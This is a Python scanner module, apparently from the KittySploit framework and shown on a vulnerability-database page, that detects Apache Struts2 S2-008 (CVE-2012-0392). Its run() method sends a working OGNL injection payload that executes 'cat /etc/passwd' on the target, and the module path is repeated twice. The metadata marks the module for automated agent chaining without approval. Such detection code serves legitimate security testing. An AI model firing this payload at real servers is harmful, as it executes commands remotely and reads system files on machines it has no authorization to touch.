Apache Struts2 S2-008 RCE Detection
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The CookieInterceptor component in Apache Struts before 2."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Apache Struts2 S2-008 RCE Detection',
'description': 'The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2012', 'apache', 'rce', 'struts', 'java', 'edb', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://cwiki.apache.org/confluence/display/WW/S2-008 https://blog.csdn.net/weixin_43416469/article/details/113850545',
'http://www.exploit-db.com/exploits/18329',
'https://lists.immunityinc.com/pipermail/dailydave/2012-January/000011.html',
'http://web.archive.org/web/20150110183326/http://secunia.com:80/advisories/47393',
'http://struts.apache.org/2.x/docs/s2-008.html',
],
'cve': 'CVE-2012-0392',
}
def run(self):
r = self.http_request(method="GET", path='/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()))', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_regexes = ('root:.*:0:0:',)
if (any(re.search(rx, body, 0) for rx in body_regexes)):
self.set_info(
severity='medium',
reason="Apache Struts2 S2-008 RCE detected",
path='/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()))',
)
return True
return False
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28 Jul 2026 11:27Current
8.9High risk
Vulners AI Score8.9
CVSS 26.8
EPSS0.97534